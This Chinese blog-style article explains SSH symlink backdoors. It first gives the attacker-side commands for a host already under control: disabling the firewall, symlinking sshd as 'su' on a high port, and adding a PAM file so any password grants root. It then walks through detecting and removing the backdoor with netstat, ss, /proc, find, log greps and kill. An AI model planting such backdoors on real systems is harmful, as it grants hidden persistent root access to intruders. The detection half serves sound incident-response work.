当前位置: 首页 > article >正文

SSH软链接后门从入门到应急响应

目录

1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

1.2 SSH软连接后门介绍

2. 如何在已拿下控制权限的主机创建后门

2.1  使用root账户并执行ssh软链接后门命令:

2.2  连接软链接后门测试:

2.3  创建其它账户 ssh软连接后门命令

3. 如何进行应急响应

3.1 查看服务器开放的端口号

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

3.3:删除软链接后门


1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

    软链接(Symbolic Link),通常被称为“符号链接”,是一种特殊类型的文件,它包含了对另一个文件或目录的引用路径。软链接类似于 Windows 中的快捷方式。它允许你为文件或目录创建一个别名,通过这个别名可以访问原始文件或目录。

1.2 SSH软连接后门介绍

    SSH软连接后门是一种利用Linux系统中PAM(Pluggable Authentication Modules)认证机制的漏洞来实现无密码远程登录的方法。通过创建一个指向/usr/sbin/sshd的软连接,并设置特定的端口,可以绕过正常的认证机制。例如,使用命令ln -sf /usr/sbin/sshd /tmp/su创建软连接,并通过/tmp/su -oPort=1234启动SSH服务在1234端口,可以实现无密码登录。

2. 如何在已拿下控制权限的主机创建后门

2.1 使用root账户并执行ssh软链接后门命令:

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

# 直接输入下面的命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
# 解释一下这段命令
目的:  创建一个指向 /usr/sbin/sshd 的软链接,并将其命名为 /usr/local/su 然后为这个软链接设置监听端口
ln 是一个用于创建链接的命令。
-s 选项表示创建软链接(symbolic link),也称为符号链接。
-f 选项表示如果目标位置已经有了一个文件或链接,那么在创建新链接之前将其强制删除。
/usr/sbin/sshd 是源文件的路径,这里是系统中 SSH 守护进程的可执行文件。
/usr/local/su 是你想要创建的软链接的路径。

2.2 连接软链接后门测试:

此处密码可以随意

# ssh root用户  服务器的ip地址  -p +监听的端口号
ssh root@192.168.10.15 -p 12345
yes
密码随意输入,但是不能为空(也就是直接按回车)

下面通过kali进行后门连接测试

2.3 创建其它账户 ssh软连接后门命令

前提: 服务器存在普通账户wxg

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
第一步执行以下命令:
echo " 
 #%PAM-1.0
 auth       sufficient   pam_rootok.so
 auth       include      system-auth
 account    include      system-auth
 password   include      system-auth
 session    include      system-auth " >> /etc/pam.d/wxg

第二步执行开启软链接命令
ln -sf /usr/sbin/sshd /tmp/wxg;/tmp/wxg -oPort=14725

# 连接方式
 ssh root@192.168.10.15 -p 14725

 

 

3. 如何进行应急响应

还是和之前一样先测试一下,是否可以正常连接,这里我用win来测试了,发现成功链接

 ssh root@192.168.10.15 -p 14725  指定用户,ip以及连接端口号出现输入密码,只要不为空,随便输入按回车就行了

3.1 查看服务器开放的端口号

通过不同命令发现发现服务器网络开启有12345、14725异常端口,且名字为su、wxg

# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
# 命令一
natstat -anpt
su  17502
wxg 45120
# 命令二
ss -tanp
45545
45555

发现的可疑进程都是ssh服务

# 命令一发现的可疑进程
ll /proc/17502
ll /proc/45120

# 命令二发现的可疑进程
ll /proc/45554
ll /proc/45555

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

 

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门,最终确定软链接为为/usr/local/su

# 先切换到/目录,因为查找的是所有的文件
cd /
# 查找名字为su的所有文件
find -name su

# 依次查看所有可疑的su文件,下面只展示其中的liang
ll /usr/share/bash-completion/completions/su
ll /usr/local/su

    不要忘了可以通过这个操作对日志进行分析,能够进一步确认攻击者的ip和用户等信息,进行后续的溯源等操作

# 登录成功的日志
more /var/log/secure | grep 'Accepted'
# 登录密码错误的日志
more /var/log/secure | grep 'Failed password'

3.3:删除软链接后门

这里需要注意的是不要用 rm -rf /usr/local/su/,如果后面多一个斜杠,就会把文件给删除

# 删除软链接
rm -rf   /usr/local/su
# 强制中断su这个进程
kill -9 17502
kill命令用于发送信号给进程。kill -9 17502 这个命令的含义是向进程ID(PID)为17502的进程发送一个信号9,即SIGKILL信号。

信号是Linux系统中用于进程间通信的一种机制。信号9(SIGKILL)是一个强制终止进程的信号,它告诉操作系统立即停止该进程,不给进程清理资源或正常终止的机会。通常,SIGKILL信号不能被进程捕获或忽略,因此它是一种非常强硬的终止进程的方式。

软链接后门被清除,无法登录


http://www.kler.cn/news/305817.html

相关文章:

  • Redis的常见问题
  • 鸿蒙交互事件开发07——手势竞争问题
  • 速通GPT:《Improving Language Understanding by Generative Pre-Training》全文解读
  • 前端开发的观察者模式
  • K8s 之Pod的定义及详细资源调用案例
  • NAT技术
  • 人工智能辅助汽车造型设计
  • 健身管理|基于java的健身管理系统小程序(源码+数据库+文档)
  • 数据结构与算法图论 并查集
  • 【Linux】调试和Git及进度条实现
  • 弹框调取阿里云播放器一直报错 TypeError: 没有为播放器指定容器
  • 注意!Facebook已移除细分定位排除受众的功能
  • 基于微信小程序的宠物之家的设计与实现
  • 备战软考Day02-数据结构与算法
  • 深度学习| 快速上手深度学习代码的阅读和改写
  • 6.1 溪降技术:绳结
  • 小阿轩yx-Zabbix企业级分布式监控环境部署
  • 期望极大算法(Expectation Maximization Algorithm,EM)
  • 基于SpringBoot的校园新闻网站设计与实现
  • 视觉SLAM ch5——相机与图像
  • AIGC-初体验
  • python 大模型验证码识别
  • C++11的部分新特性
  • Vue路由:Vue router
  • 使用ESP8266和OLED屏幕实现一个小型电脑性能监控
  • 优化深度学习模型训练过程:提升PASCAL VOC 2012数据集上Deeplabv3+模型训练效率的策略
  • 【leetcode-python】最接近的三数之和
  • Acrobat 9 安装教程
  • Redis入门2
  • 驾校预约学习系统的设计与实现